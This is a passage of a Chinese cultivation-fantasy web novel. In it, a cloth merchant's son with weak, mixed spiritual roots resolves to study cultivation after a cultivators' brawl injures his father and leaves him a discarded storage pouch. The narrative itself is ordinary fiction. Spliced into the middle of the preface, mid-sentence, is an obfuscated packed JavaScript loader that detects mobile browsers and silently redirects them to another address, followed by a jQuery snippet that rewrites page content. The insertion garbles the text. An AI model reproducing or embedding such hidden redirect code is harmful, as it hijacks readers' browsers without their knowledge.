《布袋尺》 1. 序 花夏的天,总压着一种铅灰色的和谐。 皇帝坐在龙椅上,是每一张告示最上方永不褪色的金印,是各级官员述职时必先遥拜的方向,是科举试卷上“奉天承运”后的那个名字——却很少有人真正见过他上朝。朝政由内阁处理,省府州县层层而下,公文流转如织布机上的经纬,编织出一个精密而沉闷的世界。 这是个闭关锁国的时代。城墙高耸,界碑森严,偶尔有走私的传言,说外面的天地更加荒凉,也更加危险——失控的法则风暴、畸变的妖兽、文明崩解后的废墟。于是墙内的人便更紧地抱住这份“稳定”,哪怕这稳定透着诡异的和谐。 云实就生活在这和谐的一角。 他家开布料店,铺面不大,临着青石巷。清晨卸门板,傍晚扫尘灰,父母裁剪,他记账。十六岁那年,他偷偷去过仙门招收弟子的测灵台,掌心按在冰凉的石碑上——光晕涣散,颜色混杂,像打翻的颜料盘。监考的修士眼皮都没抬:“杂灵根,八行皆有微弱感应,无一突出。下一个。” 修仙之路,在那一刻对他关上了门。 他老老实实回来,继续卖布。十八岁参加科举,落榜。父亲拍拍他的肩:“也好,店里正缺人手。”母亲塞给他一块刚蒸好的米糕:“读书辛苦,歇歇。” 云实便认了命。他供弟弟妹妹上学,看他们念“八行相生,四柱维天”,心里那片曾经微光闪烁的角落,渐渐落满世俗的灰尘。他依然会抬头看天上偶尔掠过的剑光,看那些衣袂飘飘的修士出入达官贵人的府邸,眼神里有羡慕,但更多的是平静的疏远——那是另一个世界的人,和他隔着一道看不见的、名为“天赋”的墙。 直到那个雨水初歇的午后。 两名醉醺醺的仙门弟子在巷口起了争执,剑气迸发,余波扫过。云实家的布幌应声而断,门柱吱呀歪斜,满架绸缎如瀑倾泻。父亲冲出去想扶住货架,一道失控的寒热紊乱气劲擦过他的手臂,整条胳膊瞬间覆上白霜,又立刻转为焦黑。 一切发生得太快。 修士停下来,皱了皱眉,扔下一袋灵石。其中一个年轻些的,瞥见云实呆立在一旁、浑身沾满泥水与碎布的模样,或许是一丝残存的愧意,或许是纯粹的随手,从怀里摸出个灰扑扑的小袋子,塞进他手里。 “赔你们的。”语气平淡,如同丢弃一件垃圾。 他们御剑离去,巷子恢复寂静,只剩下破损的店铺、受伤的父亲、散落的灵石,和云实掌心那个粗糙的小布袋。 夜里,父亲服了药睡下。云实坐在狼藉的店中,借着油灯,第一次仔细看那个袋子。非布非皮,触感奇异。他下意识注入一丝微弱的、连自己都几乎感觉不到的灵气——杂灵根唯一的“好处”,就是什么属性都有一丁点。 袋口悄无声息地张开一个看不见的入口。 他怔住,将手边一匹受潮的绢布塞进去。再取出来时,潮湿的水汽消失了,布料干爽如新。他又试了霉变的棉布,同样,霉斑无影无踪。 只是一个最低级的、修士用来存放杂物甚至可能已半废弃的“储物袋”。一个对他而言如同天赐,对赠予者却不过是随手可弃的“小道具”。 油灯噼啪炸开一朵灯花。 昏黄的光晕里,云实看着手中恢复如初的绢布,又看向里屋父亲包扎着的手臂,看向这个摇摇欲坠的家。一种冰冷而清晰的认知,像冬天的第一滴冰水,顺着脊椎滑下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934559|192840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人生来不同。仙凡之别,不仅是力量,不仅是寿命,甚至不仅是地位。 修士活在更高的维度。他们随手调节“虚实”以纳须弥,拨弄“寒热”以定干湿,控制“化凝”以阻衰败。他们的日常,是凡人终其一生无法触及的法则。他们的“无心之举”,可以轻易摧毁一个凡人家庭数十年的经营;他们的“随手补偿”,又足以解决这个家庭最棘手的难题。 不公平。 这三个字第一次在他心里砸出回响,不是少年时朦胧的艳羡与失落,而是成年后目睹家庭命运被随意拨弄时,产生的、带着铁锈味的清醒恨意。 凭什么? 就凭那测灵碑上一道纯粹的光?就凭先天的那一点“亲和”? 如果这世界的规则,这“八行维度”,当真如此森严,如此偏爱某些人—— 那他偏要进去看看。 哪怕他是最驳杂的灵根,最卑微的起点。 他要理解那“虚实”,那“寒热”,那“化凝”。他要弄明白,那随手就能把他的人生颠来倒去的力量,究竟源于何处。 云实握紧了那个粗糙的储物袋。袋口微光一闪,映亮他眼中渐起的、与过往十六年老实温顺截然不同的暗火。 门外,花夏帝国虚假的夜色安宁如常。高墙之外,传说中荒凉危险的世界无声翻涌。 而墙内,一个最不可能的人,即将用最卑微的方式,撬动那由“四柱八行”编织的、看似亘古不变的法则之网。 他的修仙之路,始于一个装满了潮湿与霉变布料的、被遗弃的储物袋。 始于一句无声的诘问: 若天秤早已倾斜,凡人何以丈量天道? 2. 【一】 花夏的春天,总来得迟疑。 墙内的杨柳刚抽出些鹅黄的芽尖,一场倒春寒便能打回去。坊间的青石板路沁着永不干透的凉意,店铺卸下的门板边缘,摸上去总有些腻手的潮。云实家“云锦记”的布料,最怕的便是这种天气。 云实蹲在店后小院的廊下,手里捧着一碗冒着热气的稀粥。粥是母亲天不亮就熬上的,米粒软烂,掺了切得碎碎的咸菜末。他喝得很慢,眼睛望着院角那几口半敞着透气的大缸。缸里是待染的素坯棉布,吸饱了晨间的湿气,颜色都比往日沉些。父亲云天青正在缸边,用一根长木棍小心地翻搅,查看有无霉点。 “昨儿后半夜又起了雾,”父亲没回头,声音有些哑,“寒气太重,湿凝不散。这批料子要是赶不及惊蛰前染出来,王掌柜那边的定金,怕是要扣掉三成。” 云实咽下最后一口粥,站起身,把碗搁在廊栏上。“我去生炭盆,把后厢房烘一烘,先把染好的几匹缎子移进去。” “省着点炭。”母亲林秀从灶间探出身,手里拿着搅粥的勺子,“上月的炭钱又涨了。听说北边几个炭矿出了地火,产出的炭要么烧不透,要么烧起来带毒烟,官府查得严,能运进来的好炭少了。” “地火……”云实重复了一句。这是修仙界的词汇,但对云实一家来说,它只意味着炭价上涨,意味着染缸温度更难控制,意味着本就不厚的利润,又被刮去一层。 他走到堆放杂物和炭块的角落,熟练地捡出几块黑亮、敲起来声音沉实的乌金炭。这种炭耐烧,烟少,但贵。他掂量了一下,只取了平日一半的量。剩下的,掺杂了些颜色暗红、分量较轻的赤焰炭。这炭烧起来火猛,但不持久,烟也大些。 炭盆在后厢房点起,赤红的火苗舔舐着乌黑的炭块,发出细微的噼啪声。烟气升起,被云实用一根打通竹节的细竹竿引向窗外——这是父亲想出来的土法子,竹竿内壁糊了层薄薄的泥浆,能滤掉些烟尘。云实将几天前染好、已晾得半干的几匹雨过天青色绸缎,小心地架在炭盆上方三尺处的横杆上。温热干燥的空气慢慢包裹住绸缎,驱赶着纤维深处残留的湿意。 做完这些,他额角已见了薄汗。回到前店,弟弟云岭和妹妹云舒已经吃过早饭,正收拾书本。云岭十五岁,眉眼间已有几分父亲的沉稳,背着一个洗得发白的青布书袋。云舒十三岁,扎着双丫髻,眼睛亮晶晶的,正把一叠抄写工整的《八行疏义》草稿塞进自己的小布包里。 “大哥,我们走啦。”云舒冲云实摆摆手。 “好好听讲。”云实嘱咐,又从柜台下摸出两个用油纸包好的米糕,塞给他们,“晌午垫一垫。” “谢谢大哥!”云舒欢快地接过。 云岭接过米糕,没立刻走,看着云实,犹豫了一下,低声道:“哥,昨日学堂里,教谕说,明年州府的‘格致院’要扩招一次。不单考经义文章,还要加试‘八行推演’和‘灵材辨识’。教谕说……这是难得的机会。” 格致院。那是比县学、府学更高一级的地方,传闻其中藏书颇丰,甚至有退下来的低阶修士担任顾问,讲解最粗浅的修行常识与法则应用。若能考入,不仅免去所有学杂费用,每月还有津贴,成绩优异者,甚至可能被推荐给某些不看重灵根、只专注技艺的“匠造坊”或“百草堂”,算是一条虽窄、却实实在在能靠近那个世界的路。 云实心里动了动,脸上却没什么波澜,只拍了拍弟弟的肩膀:“知道了。安心读书,家里的事不用操心。” 送走了弟妹,店铺正式开张。卸下门板,清扫柜台,将昨日新上的几匹颜色鲜亮的锦缎和耐穿的棉布摆在最显眼的位置。晨光透过格窗,在光滑的布面上流淌,空气里浮动着染料、浆洗和存放布料用的樟木混合的、独属于布店的气味。 生意清淡。花夏帝国承平日久,或者说,在一种精心维持的凝滞中过了太久。百姓衣着都有定例,商贾之家也不能逾制。布料生意,赚的是细水长流的辛苦钱。云天青在前柜招呼偶尔上门的零散客人,林秀在后院照看染缸和织机,云实则里外照应,记账、盘点、搬货。 午后,天空又阴沉下来,飘起似有若无的雨丝。街上的行人更少了。云实坐在柜台后,就着天光,核对一本往来账目。墨迹有些晕开,是纸张受潮的缘故。他停下笔,指尖无意识地摩挲着粗糙的账本边缘。 十六岁那年,测灵台前混杂黯淡的光晕,又一次浮现在眼前。 三年一度的“开灵大典”,是像云实这样的凡人少年,唯一可能改变命运的机会。人山人海,挤得水泄不通。高台上,来自“四明宗”的修士,穿着月白色的道袍,袖口绣着象征明与序的银线波纹,神情淡漠。测灵碑是一块两人高的墨玉,光滑如镜。 轮到云实时,他心跳如鼓,手心里全是汗。冰凉的碑面贴上掌心。起初毫无动静,就在他心往下沉时,碑面终于亮了。不是一道纯净、耀眼的单色光柱,而是许多缕极其微弱、颜色各异的光丝,纠缠着、涣散着亮起,像打翻了调色盘,又像一捧混杂的沙土,勉强聚拢,又随时要散去。 “杂灵根。”负责记录的修士看了一眼,声音平板无波,在名册上画了个叉,“八行皆有微末感应,驳杂不纯,无一突出。无培养价值。下一个。” 他甚至没抬头看云实一眼。 后面排队的人潮推挤着,云实踉跄着走下高台,耳边是其他少年或狂喜或啜泣的声音。有人测出了清晰的“实”灵根,被请到一旁细问;有人是“寒”灵根,虽不顶尖,也得了勉励。只有他,像一滴油,融不进这片沸腾的水,也沉不下去,就那么尴尬地悬着,然后被遗忘。 那天回家,他什么也没说。父母问起,他只摇摇头。父亲沉默地抽了半晌旱烟,最后说:“也好。修仙……听说也凶险。安生过日子,挺好。” 是啊,安生过日子。云实从此收起了所有不切实际的幻想,跟着父母学经营,学染织,学应对各色客人。他读书识字,是因为布料生意需要记账、看契书,后来弟弟妹妹上学,他也能辅导一二。十八岁,他参加了科举初试,考的是最基础的经义和算学。落榜了,不意外。他认识的同龄人里,能考上的凤毛麟角。那更像是一个仪式,告诉他,这条路,也断了。 于是,他彻底回到了“云锦记”。每日寅时起,亥时歇,周而复始。他熟悉每一种布料的特性,知道哪种染料在什么节气最稳定,能一眼看出客人身上的衣料是出自哪家作坊。他成了父母最得力的帮手,街坊邻里眼中老实勤恳的后生。 偶尔,天上会有剑光掠过,那是修士出行。有时,城里最大的酒楼“百味轩”会清场,招待某位路过的大修士或仙门弟子。云实送布料去过那些高门大宅,见过他们用的杯盏都隐隐有灵气流转,能自洁保温。那是另一个世界,遥远得像天上的星辰。 他以为自己早已接受,早已习惯。 直到那个傍晚。 雨下得急了,街面泛起白蒙蒙的水汽。云实正准备提前上板打烊,忽听得巷口传来一阵嘈杂,夹杂着金石交击的锐响和几声怒喝。 “是仙师……”隔壁杂货铺的孙掌柜探出头,脸上有些紧张,又有些看热闹的兴奋。 云天青也走到店门口张望。只见巷口,两道身影在雨幕中隐约对峙。一人着蓝衫,周身似有寒气缭绕,脚下石板凝结出白霜;另一人穿赤袍,发丝无风自动,隐隐有热浪扭曲空气。两人显然都喝了酒,面色酡红,眼神却凌厉。 “柳寒舟!你今日若不把‘冰魄砂’交出来,休想离开!”赤袍修士声音带着火气。 “笑话!那本是我在‘寒渊’所得,凭何给你苏妄?”蓝衫修士冷笑,指尖有冰晶凝聚,“就凭你混沌派惯会胡搅蛮缠?” 话音未落,赤袍修士苏妄已悍然出手!并非什么精妙法诀,只是一股暴烈灼热的灵力狂涌而出,夹杂着明显的“乱”意,并非攻向对手,而是猛地向四周炸开!他似是想用这种无差别的混乱冲击,干扰对方的寒气运转。 蓝衫修士柳寒舟显然没料到对方如此不顾场合,仓促间挥袖布下一道冰墙抵挡。两股力量对撞,轰然爆开! 失控的灵力乱流,像无形的巨锤,横扫巷口! “咔嚓!”云锦记门前的布幌木杆首当其冲,断成两截,招牌“云”字摔在泥水里。紧接着,店门的一根支撑柱发出不堪重负的呻吟,歪斜下去,连带半边屋檐的瓦片哗啦啦滑落。店内,靠墙摆放的几排高大货架,如同被巨手推搡,猛地向前倾倒! “布!我的布!”林秀在后院惊呼。 云天青脸色大变,想也没想就冲进店内,用肩膀去顶那即将砸下的、堆满厚重棉布和锦缎的货架。“实儿!躲开!” 云实脑子嗡的一声,身体已下意识跟着父亲冲进去帮忙。但他慢了一步。 一道逸散的气劲,边缘裹着诡异的蓝红交错的光芒,那是“寒”与“热”两种极端灵力在“乱”的催化下形成的、极不稳定的混合体,如同一条阴毒的蛇,从倒塌货架的缝隙中钻出,擦着云天青抬起格挡的左臂掠过。 没有巨响,没有鲜血。 云天青闷哼一声,整条左臂瞬间覆盖上一层厚厚的、晶莹的坚冰,冰层内部,皮肉呈现出诡异的焦黑色,仿佛同时被极寒冻结又被极热灼伤。他脸色霎时惨白如纸,冷汗涔涔而下,身体晃了晃,靠着未完全倒下的货架才没摔倒。 “爹!”云实扑过去,想碰又不敢碰那条怪异的手臂。 店外的雨幕中,两名修士的争执似乎因这意外停顿了一瞬。柳寒舟皱了皱眉,看了一眼一片狼藉的布店和受伤的凡人,脸上闪过一丝不易察觉的晦气。苏妄却只是挑了挑眉,嗤笑一声:“麻烦。” 柳寒舟没再说话,抬手扔过来一个沉甸甸的锦袋,落在满是碎布和瓦砾的地上,发出清脆的撞击声——是灵石。他瞥了一眼疼得几乎晕厥的云天青和手足无措的云实,似乎觉得不够,又对苏妄冷声道:“你惹的事。” 苏妄浑不在意地咧嘴一笑,目光在店内扫过,掠过云实那张混杂着惊恐、愤怒和绝望的年轻脸庞时,不知是出于一时兴起的嘲弄,还是真的有那么一丝微不足道的“补偿”心态,他随手从自己腰间摘下一个灰扑扑、看起来脏兮兮的小布袋,像丢垃圾一样,抛向云实。 “赔你们的。”他的声音透过雨声传来,依旧带着那种玩世不恭的随意。 说完,两人身形一晃,便消失在渐渐昏暗的雨幕中,仿佛从未出现过。只留下破损的店铺,受伤的掌柜,散落的货物,一地狼藉,一袋冰冷的灵石,和一个滚落到云实脚边的、毫不起眼的小布袋。 邻居们这才敢围拢过来,帮忙扶起货架,收拾残局。有人去请大夫。孙掌柜帮忙捡起那袋灵石,掂了掂,咋舌道:“怕是有二三十块下品灵石……倒是够赔这些损失了。” 大夫来了,是个老郎中,看到云天青的手臂,倒吸一口凉气。“这是……被修士的异种灵力所伤?老夫……老夫只能开些镇痛固本的汤药,这冰火之力已侵筋脉,能否恢复,能恢复几成,要看造化,也要看……有没有仙家的祛异丹……” 祛异丹?那是他们能奢望的东西吗?那一袋灵石,赔店铺的损失或许够,但想买祛异丹,怕是零头都不够。更何况,去哪里买? 母亲林秀抱着父亲未受伤的右臂,眼泪无声地流。弟弟云岭和妹妹云舒接到消息跑回来,看着父亲的伤臂和倒塌的店铺,小脸煞白。 云实蹲在地上,看着父亲痛苦却强忍的脸,看着母亲无助的泪,看着弟妹惊恐的眼,看着这间凝聚了父母半生心血、如今却破败不堪的店铺。雨水从破损的屋檐滴落,打在他脖颈里,冰冷刺骨。 他的目光,最终落在了那个灰扑扑的小布袋上。 他伸出手,捡起它。布袋入手很轻,材质非布非革,粗糙耐磨,上面甚至有几个不明显的污渍和磨损痕迹,显然原主人并不珍惜。袋口用一根同色的细绳松松系着。 鬼使神差地,云实捏住了袋口。他想起测灵台上那微弱驳杂的感应,屏住呼吸,尝试着将自己那几乎可以忽略不计的、散乱的一丝灵力,缓缓注入。 袋口悄无声息地张开了一道缝隙。没有光,没有声音,只是感觉那里出现了一个“入口”,通往一个约莫有他们家后院仓房那么大的、黑暗稳定的空间。 云实愣住了。他环顾四周,随手抓起脚边一匹被污水浸湿了边缘的月白色素缎,小心地塞向袋口。布匹接触袋口的瞬间,仿佛被无形的力量吸入,消失了。他再心念微动,想着那匹布,手伸入袋口——指尖触到了干燥光滑的缎面,他轻轻一拉,整匹布被完好无损地取了出来。 原本潮湿沉重的布料,此刻干爽柔软,甚至因吸饱了湿气而略显板结的纤维,都重新恢复了顺滑。那浸润的污渍水痕,消失得无影无踪。 他又试了另一匹角落里有小块霉斑的麻布。同样,霉斑不见了,布料干净如新。 只是一个最低级储物袋。在修士手中,或许只用来存放些不甚重要的杂物、灵石或普通材料。它甚至可能是个被淘汰的旧货,空间不大,样式粗陋。 但就是这么一个“小玩意儿”,解决了云实家布料存储中最头疼的潮湿和霉变问题! 油灯点起。破损的店铺暂时用油布遮了漏雨处。父亲服了镇痛安神的汤药,昏睡过去,受伤的左臂被小心安置,那层诡异的冰壳仍未化去,内里的焦黑触目惊心。 云实坐在狼藉的店堂里,守着那盏孤灯。弟弟妹妹被母亲强行赶去休息了。母亲熬红了眼,还在小心地擦拭整理那些未被完全损毁的布料。 他再次拿出那个储物袋,注入微弱的灵力,打开,关上。看着一匹匹受潮、沾污、甚至轻微霉变的布料,进去再出来,便焕然一新。 一种冰冷到极致,又清晰到极致的感觉,顺着脊椎慢慢爬升,冻僵了他的四肢,却烧灼着他的心脏。 这就是仙凡之别。 不是力量大小,不是寿命长短。 是维度。是生活方式,是看待世界、解决问题的根本层面,不同。 修士随手丢弃的、用来装垃圾的袋子,其内部恒定法则带来的便利,是他们这样的凡人家庭,耗费无数心思、采用各种土法也未必能完美达成的效果。 他们的一次争执余波,可以轻易摧毁一个家庭多年的经营,造成可能永久性的伤害。而他们眼中微不足道的“补偿”,却又能解决这个家庭最根本的产业难题。 公平吗? 云实低头,看着自己因常年劳作而略显粗糙的掌心。那里没有纯净的光,只有杂乱微弱、曾被判定为“废料”的感应。 可就是这“废料”,刚才打开了那个袋子。 如果……如果他能多理解一点,多掌控一点呢? 几天后,父亲的伤势稳定了些,但左臂依旧包裹着,无法用力,冰火之力侵蚀的经脉时不时传来刺痛,让这个一向硬朗的汉子眉宇间总带着隐忍的痛楚。店铺勉强修复了门面,重新开张,但生意受了影响,更要命的是,存货损失不小,而父亲的伤需要持续用药,是一笔不小的开销。 夜里,一家人围坐在饭桌旁,气氛沉闷。云实放下筷子,看了看父母,又看了看埋头吃饭的弟妹,深吸一口气。 “爹,娘,我想……去试试修行。” 饭桌上瞬间安静。林秀手里的筷子差点掉下来。云天青猛地抬头,受伤的手臂牵动,痛得他咧了咧嘴,但眼神却紧紧盯住儿子。 “你……你说什么胡话!”林秀急了,“那测灵台不是去过了吗?咱家没那个命!你现在去,能去哪里?那些仙门高高在上,谁会收你?外面多危险!听说那些修士争斗起来,山崩地裂!你爹这次就是例子!” “娘,我不是要去拜那些大宗门。”云实声音平稳,显然已想了很久,“我知道自己灵根不行。但……我想试试自己摸索。至少,把这个储物袋弄明白。” 他拿出那个灰色袋子。“这东西,能防潮防霉,能存东西,对我们家布店,是天大的助力。但它只是个最低级的法器。我想知道,它是怎么做到的。如果我能弄懂一点,哪怕只是一点点,也许……也许能找到办法,帮爹缓解手臂的伤。至少,也能让咱家的布,保存得更好,卖得更远。” “不行!”云天青斩钉截铁,声音因激动和疼痛而沙哑,“太冒险!修士的东西,是那么好琢磨的?万一出岔子,灵力反噬,你……”他咳了几声,脸上泛起不正常的潮红,“咱家现在已经这样了,再不能出事了!你老老实实经营铺子,等你弟弟妹妹读出点样子,日子总能慢慢好起来。” “爹,正是为了弟弟妹妹,为了这个家,我才想去试试。”云实目光清澈,语气却异常坚定,“您看这个袋子。别人随手扔给我们的东西,就能解决咱家最大的麻烦。如果我们自己能有这样的本事呢?哪怕只有十分之一,百分之一?” 他顿了顿,继续道:“铺子要经营,弟弟妹妹要读书考试,尤其是小岭,他有机会去格致院,那需要钱,需要时间。爹的伤要养,也要钱。光靠现在这样,我们太被动,经不起一点风浪。” “我想过了。我不走远,就在附近山里,找找感觉。我也打听过,有些散修聚集的坊市,偶尔也有出售最基础的修炼常识玉简,不贵。我先从认识这个袋子开始,从感应我身体里那点乱七八糟的灵气开始。”云实看着父母担忧至极的脸,放缓了语气,“我不是要去打打杀杀,也不是妄想一步登天。我只是……不想下次再遇到这种事,我们还是只能眼睁睁看着,什么都做不了。” 他看向弟弟妹妹:“小岭,小舒,你们安心读书。家里的事,有大哥。” 云岭抬起头,眼圈有点红,张了张嘴,却没说出话。云舒咬着嘴唇,小声说:“大哥,你……你一定要小心。” 林秀的眼泪又下来了。云天青沉默了很久,久到油灯的灯花又爆开一次。他看着儿子,那双眼睛里,不再只有往日的温顺勤恳,多了些他看不懂的、沉静却执拗的东西。这孩子,从小懂事,没让他们操过心。这次,他是认真的。 “你……打算怎么做?”云天青终于松了口,声音疲惫。 云实心里一松,知道最难的一关过了。“首先,我们要把眼前的难关渡过去。这个储物袋,就是我们的转机。” 接下来的日子,云实像变了个人。他不再仅仅满足于守店、送货。他仔细研究了储物袋的特性:空间稳定,内部干燥清洁,时间流速似乎与外界一致,但物质状态几乎不变化。他做了试验,将不同湿度、不同材质的布料放进去,记录变化;甚至尝试放入一些容易腐坏的食物,发现也能大大延长保存时间。 一个念头在他心中成形。 “爹,娘,咱们家的布,最大的成本损耗,除了染料工钱,其实就是仓储霉变和季节积压,对吧?”晚饭时,云实提出想法。 “是啊,”林秀叹气,“尤其是梅雨天和倒春寒,防不胜防。好料子不敢多进,怕砸手里。” “如果我们用这个袋子做仓库呢?”云实眼睛发亮,“它空间不小,而且绝对防潮防霉。我们可以多进一些原料,比如素坯布、便宜的染料,在价格低的时候囤起来。我们甚至可以接一些别的布庄不敢接的、要求长期保存不掉色的急单、大单。” 云天青沉吟:“想法是好……但咱们本钱有限,这袋子再能装,也只有一个。而且,大量进货,染织需要人手,咱们忙不过来。” “本钱可以慢慢攒。人手……”云实看向弟弟妹妹,“小岭小舒放学后可以帮忙做些轻省活。我还可以去招揽一些零散的代工。” 他说干就干。第二天,他写了些简单的告示,贴在巷口和附近集市,写明“云锦记”可承接大宗布料定制、长期仓储,价格优惠。起初无人问津,但云实不气馁,主动去联系以前有过往来、信誉不错的布庄和成衣铺子。 机会来自城里一家中等规模的“锦绣阁”。他们接了一笔外省客商的订单,需要一批特定花色的杭绸,要求色泽鲜艳,且能经受长途漕运的潮湿环境,半年内不能有明显褪色或霉变。其他布庄要么工艺达不到,要么不敢保证仓储。云实找上门,展示了储物袋的特性——当场将一匹普通绸缎放入取出,对比明显。锦绣阁的掌柜将信将疑,先给了个小批量的试单。 云实一家全力以赴。父亲负责把关原料和染缸,母亲和云舒负责织补和绣花边,云实统筹、跑外联、并小心地用储物袋转运和保存关键半成品与成品。云岭下学后也帮忙整理、打包。他们甚至说服了两个住在城外、手头拮据的远房表姨来帮忙做些基础的纺纱和清洗工作,按件计酬。 试单顺利完成。交货时,锦绣阁的掌柜验货十分满意,那批杭绸经过模拟潮湿环境的测试,果然表现优异。不仅结了尾款,还续订了更大一批,并且介绍了其他客源。 “云锦记”的名声,渐渐在行当里小范围传开。他们依然是小店,但接的活计比以前多了,利润也厚了些。更重要的是,因为有了储物袋这个“王牌”,他们敢接一些有特殊存储要求的订单,避开了与大批发商的正面竞争,找到了一个独特的缝隙市场。 家里的收入,肉眼可见地增加了。父亲的药换了更好的,云岭云舒的纸笔书本也宽裕了些。破损的店铺被彻底修缮,甚至还隔出了一小间,给云岭晚上读书用。 父母脸上,终于又有了笑容。一天晚饭,云天青多喝了两杯自家酿的米酒,拍了拍云实的肩膀,叹道:“实儿,这个家,多亏了你。这铺子……以后就交给你了。我跟你娘,给你打下手。” 林秀也笑着点头。 云实却摇了摇头。“爹,娘,铺子还是你们的。我现在做的这些,只是开了个头。” 他看着父母不解的眼神,认真道:“咱们家现在是好些了,但根基还不稳。弟弟妹妹的前程才是最重要的,尤其是小岭,他若能进格致院,将来或许能有更好的出路,也能真正支撑门户。眼下这点生意,供他们安心读完书,差不多了。” 他顿了顿,声音低了些,却更清晰:“但我想得更远。这次的事让我明白,光会做生意,不够。仙凡有别,一道余波就能让我们倾家荡产。一个随手给的袋子,就能让我们绝处逢生。这世道,真正的‘本钱’,不光是银子,还有……对那种力量的了解,哪怕只是一点点。” “所以,我还是想去试试。去碰碰运气,看能不能真正……跨进那个门槛看一眼。”云实迎上父母瞬间又布满担忧的目光,“这次和之前不同。之前是茫然地去撞运气,现在是有了点依仗,有了明确想弄懂的东西——就是这‘八行’运转的道理。我不求拜入山门,只求能自己摸索出条路,哪怕再窄,再难走。” “万一……”林秀声音发颤。 “万一我出事了,”云实接得很快,显然早已想过,“家里还有小岭和小舒。铺子的路子已经趟开,他们也能接手。但如果我真能带回来些什么,哪怕只是多认识几种灵草,多看懂几个符文,多理解一点这储物袋的奥秘,对我们家,可能就是天大的不一样。” 他看向弟弟妹妹:“小岭,小舒,如果大哥不在,你们能照顾好爹娘,撑起铺子吗?” 云岭重重地点头,眼圈又红了,但眼神坚定:“能!大哥,你去!家里有我!” 云舒也用力点头,带着哭音:“大哥,你要好好的……早点回来。” 云天青和林秀对视着,在彼此眼中看到了同样的挣扎、恐惧,以及一丝被儿子描绘出的、微弱却实在的希望所打动的东西。他们没什么文化,一辈子在尺头和算盘间打转,不懂什么大道理,但他们懂得看人。儿子眼里的光,不再是少年时懵懂的羡慕,而是一种经过世事打磨后的清醒决心。 这个家,已经在他手里活过来一次。也许,真的可以再相信他一次? 许久,云天青长长吐出一口气,仿佛用尽了所有力气,缓缓点了点头。“……去吧。家里,不用你操心。但是,”他盯着云实,一字一句,“凡事保命第一。实在不行,就回来。咱家铺子,总能有你一口饭吃。” 林秀抹着眼泪,说不出话,只是不住地点头。 云实心中一块大石落地,眼眶也有些发热。他用力点头:“爹,娘,你们放心。我知道轻重。” 夜深了,家人都已睡下。云实独自坐在自己窄小的房间里,油灯如豆。他再次拿出那个灰色的储物袋,放在掌心。 粗糙的触感,不起眼的外表。里面装着他们家眼下生意的希望,也装着他通往一个全然未知世界的、微小却坚实的起点。 窗外,是花夏帝国沉寂的夜。高墙之外,传说更加荒凉危险的世界,无声涌动。墙内,无数像他一样的凡人,在既定的轨道上日出而作,日入而息。 前路如何,他一无所知。 但他知道,他必须去。为了父亲那条伤臂,为了母亲不再流泪,为了弟弟妹妹不必再经历同样的无力,也为了自己心中那簇被冰冷的现实与微弱希望共同点燃的、不肯熄灭的火。 他将储物袋紧紧握在手心。 第一步,就从彻底弄懂你开始。 …… 离家那日,天刚蒙蒙亮。 云实将那个灰色的储物袋郑重地交到母亲林秀手中,又仔细教父亲和弟妹如何用他们那同样微弱驳杂的灵力开启袋口。弟弟云岭试了一次就成功了,感应甚至比云实当初还要顺畅些,妹妹云舒稍慢,但多试几次也掌握了诀窍。看着袋口在家人手中开合,存放取出一匹匹布料,云实心里最后那点牵挂也稍稍放下。 “家里生意,就照我们商量好的路子走。不急不躁,稳当为上。”云实背上一个半旧的青布包袱,里面是几件换洗衣物、一点干粮、少许铜钱和碎银子,还有那封盖着“天衡宗外院执事房”红印的录用回执。回执上写得很清楚:录用为后厨杂役,包食宿,月钱三百文,需于十五日内至山门报到。 “放心去,家里有我。”云岭的个子都快赶上他了,说话也带着少年人刻意学来的沉稳。 云舒塞给他一双新纳的鞋垫,眼圈红红的,却没哭。“大哥,路上当心。到了……捎个信回来。” 父母站在店门口,父亲的手臂仍用布带吊在胸前,眼神复杂,最终只化作一句:“万事小心,不行就回。” 云实点点头,不再多言,转身汇入了清晨渐渐苏醒的街市人流。他没舍得花钱雇车马,三百文一月的工钱听着不少,但前途未卜,每一文都得省着。步行也好,就当认路,也看看这花夏帝国墙内的人间。 他循着大致方向,先走官道。官道平整,车马来往,两旁的田地村落井然有序。他走得不算快,白日行路,傍晚就在途经的镇甸找最便宜的客栈大通铺,或者干脆在破庙、祠堂借宿一宿。干粮吃完,就在路边食摊买最便宜的粗面饼子就水吃。 一路走,他一路看。看沿途城镇商铺里布料的花色品种,看百姓身上的衣着用料,甚至留心打听哪里产棉,哪里出丝,染坊都在何处。有些见闻让他心思活络:某地一种靛蓝染料质地尤佳;某处织户新出的暗纹提花绸,在府城很受欢迎;通往北边某州的商道上,对厚实耐磨的麻葛需求很大……这些信息,他都在心里默默记下,想着将来若有机会,或许可以告诉家里,拓宽些门路。 走了七八日,官道渐渐稀少,路径开始向山区延伸。按照回执上的简图和沿途打听,天衡宗的山门位于“翠微群山”深处,寻常车马难至。前方路途显然艰难起来,同行的商旅越来越少,偶尔遇见些行人,也多是面带风霜、步履匆匆。 这日晌午,他到了一个名叫“栖霞镇”的山口小镇。镇子不大,却是进入翠微群山前最后一个像样的补给点。镇上的客栈、酒肆比来时路上那些热闹许多,往来行人装束也各异,有普通商贩,有江湖客打扮的,也有少数气息明显不同于凡人、衣着简洁却隐隐有灵光波动的——那是低阶修士或仙门仆役。 云实在镇口一个卖茶汤和简单吃食的棚子坐下,要了一碗粗茶,慢慢喝着,耳朵留意着周围的谈话声。 “……翠微山这段路可不太平,听说前些日子又有‘瘴疠’从山谷里漫出来,沾上点皮肉就烂。” “何止瘴疠?深山里还有成了点气候的凶兽,专挑落单的走。那些‘迷踪雾’才叫麻烦,进去就绕不出来,饿死都没人知道骨头在哪儿。” “所以啊,没点本事,谁敢自己往里闯?都是凑钱找‘引路人’。” “引路人?” “就是些常年在山里讨生活、或者接了仙门任务的低阶修士,组队护送人过山。按人头和行李收费,不便宜就是了。” 